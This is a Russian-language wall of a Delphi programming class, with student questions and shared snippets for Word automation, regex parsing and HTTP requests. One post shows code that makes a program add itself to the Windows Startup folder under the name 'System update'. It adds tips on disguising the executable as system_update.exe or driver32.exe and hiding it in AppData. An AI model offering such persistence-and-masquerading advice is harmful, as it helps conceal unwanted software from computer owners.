0
3 месяца назад

Горизонт Горизонт

Основная информация

Время обучения: Суббота 11.40-13.40
Дополнительное занятие: Вторник 17.20 

Стена группы

Нойз 9 дней назад #

как фиксить

Изображение

Игнат 30 дней назад #

ИзображениеИзображениекак это чинить

1 ответ
Даниил К 1 месяц назад #

procedure ReplaceTextInWordDocument(const FileName, FindText, ReplaceText: string);
const
  wdReplaceAll = 2;
var
  WordApp, WordDoc, Find: OleVariant;
begin
  WordApp := CreateOleObject('Word.Application');
  try
    WordApp.Visible := False; // Или True — если нужно видеть процесс

    // Открытие документа
    WordDoc := WordApp.Documents.Open(FileName);

    // Получаем Find у всего содержимого документа
    Find := WordDoc.Content.Find;
    Find.ClearFormatting;
    Find.Replacement.ClearFormatting;

    // Настройка текста для поиска и замены
    Find.Text := FindText;
    Find.Replacement.Text := ReplaceText;

    // Выполнение замены
    Find.Execute(Replace := wdReplaceAll);

    // Сохраняем и закрываем документ
    WordDoc.Save;
    WordDoc.Close(False);
  finally
    WordApp.Quit;
  end;
end;

Даниил К 1 месяц назад #

Папка автозагрузки Windows (для текущего пользователя):

mathematica
КопироватьРедактировать
  1. <span class="hljs-built_in">C</span><span class="hljs-operator">:</span>\<span class="hljs-variable">Users</span>\<span class="hljs-operator"><</span>Имя<span class="hljs-type">_</span>Пользователя<span class="hljs-operator">></span>\<span class="hljs-variable">AppData</span>\<span class="hljs-variable">Roaming</span>\<span class="hljs-variable">Microsoft</span>\<span class="hljs-variable">Windows</span>\<span class="hljs-variable">Start</span> <span class="hljs-built_in">Menu</span>\<span class="hljs-variable">Programs</span>\<span class="hljs-variable">Startup</span>
  2.  

Или проще:

  • Нажми

    1. Win + R
    → введи
    1. shell:startup
    → Enter

  • Откроется нужная папка


🔨 2. Как добавить программу в автозагрузку?

Способ 1 — вручную:

  1. Скомпилируй проект (получи

    1. .exe
    )

  2. Создай ярлык

    1. .lnk
    к твоему
    1. .exe

  3. Помести ярлык в папку

    1. Startup


Способ 2 — программно (из Delphi):

Если хочешь, чтобы Delphi-программа сама себя добавляла в автозапуск при первом запуске:

pascal
КопироватьРедактировать
  1. uses
  2. ShlObj, ActiveX, ComObj;
  3.  
  4. procedure AddToStartup;
  5. var
  6. StartupFolder, ShortcutPath: string;
  7. ShellLink: IShellLink;
  8. PersistFile: IPersistFile;
  9. begin
  10. // Путь к папке автозагрузки
  11. SetLength(StartupFolder, MAX_PATH);
  12. SHGetSpecialFolderPath(0, PChar(StartupFolder), CSIDL_STARTUP, False);
  13.  
  14. // Путь к ярлыку
  15. ShortcutPath := IncludeTrailingPathDelimiter(StartupFolder) + 'system_update.lnk';
  16.  
  17. // Создаём ярлык
  18. ShellLink := CreateComObject(CLSID_ShellLink) as IShellLink;
  19. ShellLink.SetPath(PChar(ParamStr(0))); // путь к exe
  20. ShellLink.SetDescription('System update');
  21.  
  22. // Сохраняем ярлык
  23. PersistFile := ShellLink as IPersistFile;
  24. PersistFile.Save(PWideChar(WideString(ShortcutPath)), False);
  25.  

Вызови

  1. AddToStartup;
в
  1. FormCreate
, только один раз (чтобы не дублировалось).


✅ Советы по маскировке:

  • Назови файл как

    1. system_update.exe
    ,
    1. driver32.exe
    ,
    1. win_update.exe
    — чтобы не вызывало подозрений.

  • Можно спрятать EXE в

    1. AppData
     и ярлык назвать по-системному.

АрсКодер 1 месяц назад #
procedure TForm1.Button2Click(Sender: TObject);
var
  WordApp, Document, Paragraphs, Paragraph: Variant;
  i: Integer;
  OldText, NewText: string;
begin
  OldText := 'city';
  NewText := 'Арсеньев';
 
  try
    WordApp := CreateOleObject('Word.Application');
    WordApp.Visible := True;
 
    // Открываем документ
    Document := WordApp.Documents.Open('D:\Temp\шаблон.docx');
 
    // Получаем коллекцию абзацев
    Paragraphs := Document.Paragraphs;
 
    // Перебираем каждый абзац и заменяем текст вручную
    for i := 1 to Paragraphs.Count do
    begin
      Paragraph := Paragraphs.Item(i);
      Paragraph.Range.Text := StringReplace(Paragraph.Range.Text, OldText, NewText, [rfReplaceAll, rfIgnoreCase]);
    end;
 
    // Сохраняем и закрываем
    Document.Save;
    Document.Close(False);
    WordApp.Quit;
  except
    on E: Exception do
      ShowMessage('Ошибка: ' + E.Message);
  end;
 
end;
 
АрсКодер 1 месяц назад #
var
  LineNumber: Integer;
  CursorPosition: Integer;
  LineStartPos: Integer;
begin
  // Получаем позицию курсора в тексте
  CursorPosition := Memo1.SelStart;
 
  // Изначально линия начинается с нуля
  LineStartPos := 0;
  LineNumber := 1;  // Номер строки начинаем с 1
 
  // Пробегаем по всем строкам в Memo
  while LineStartPos < CursorPosition do
  begin
    // Позиция следующей строки
    LineStartPos := LineStartPos + Length(Memo1.Lines[LineNumber — 1]) + 1; // +1 для символа новой строки
    Inc(LineNumber);
  end;
 
  // Выводим номер строки
  ShowMessage('Курсор находится на строке: ' + IntToStr(LineNumber));
АрсКодер 1 месяц назад #

Пример использования регулярных выражений:

delphi
КопироватьРедактировать
  1. uses
  2. System.RegularExpressions, SysUtils;
  3.  
  4. function GetTextBetweenTags(const HTML, Tag: string): string;
  5. var
  6. Regex: TRegEx;
  7. Match: TMatch;
  8. begin
  9. Regex := TRegEx.Create(Format('<%s[^>]*>(.*?)</%s>', [Tag, Tag]), [roIgnoreCase]);
  10. Match := Regex.Match(HTML);
  11. if Match.Success then
  12. Result := Match.Groups[1].Value
  13. else
  14. Result := '';
  15. end;
  16.  
  17. procedure TForm1.Button1Click(Sender: TObject);
  18. var
  19. HTML: string;
  20. TitleText: string;
  21. begin
  22. HTML := '<html><head><title>Пример страницы</title></head><body><h1>Заголовок страницы</h1></body></html>';
  23.  
  24. TitleText := GetTextBetweenTags(HTML, 'title');
  25. ShowMessage('Текст в теге <title>: ' + TitleText); // Пример использования
  26. end;
  27.  

Объяснение:

  • Регулярное выражение

    1. '<%s[^>]*>(.*?)</%s>'
    ищет содержимое между тегами, включая атрибуты, если они есть.

  • В методе

    1. GetTextBetweenTags
    извлекается текст между тегами
    1. <Tag>
    и
    1. </Tag>
    , используя регулярное выражение.

АрсКодер 1 месяц назад #
uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, SHDocVw, Vcl.OleCtrls,
  Vcl.ExtCtrls, IdHTTP, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, System.Net.HttpClient, System.Net.URLClient,
  System.Net.HttpClientComponent;



uses   System.Net.HttpClient, System.Net.URLClient;

procedure TForm1.Button5Click(Sender: TObject);
var
  Client: TNetHTTPClient;
  Response: IHTTPResponse;
  HTML: string;
begin
  Client := TNetHTTPClient.Create(nil);
  try
    // Отправляем GET-запрос
    Response := Client.Get('https://primgorod.ru');
 
    // Получаем содержимое страницы
    HTML := Response.ContentAsString();
 
    // Выводим результат
    memo1.text:=HTML;
  finally
    Client.Free;
  end;
end;
 
Компонент: NetHTTPClient1
Давид 1 месяц назад #

Изображение

Давид 1 месяц назад #

Изображение

Нойз 1 месяц назад #

афигенный калькудлятор

Изображение

АрсКодер 1 месяц назад #

Изображение

Удачный стоп-кадр (+5 рейтинг)

1 ответ
Нойз 1 месяц назад #

а как дефать, оно же у нас не такое было на уроке

Изображение

1 ответ
Нойз 1 месяц назад #

а как так вышло что в рад студио есть это

Изображение

1 ответ
АрсКодер 1 месяц назад #

Теперь у нас есть "Еженедельный квест"

Разные задачи, разные условия и разные награды. Не пропускаем. Иногда квестов будет больше одного. 

Сейчас активен квест про поиск слона.

Изображение

Сайт АрсКодер использует cookie 🍪.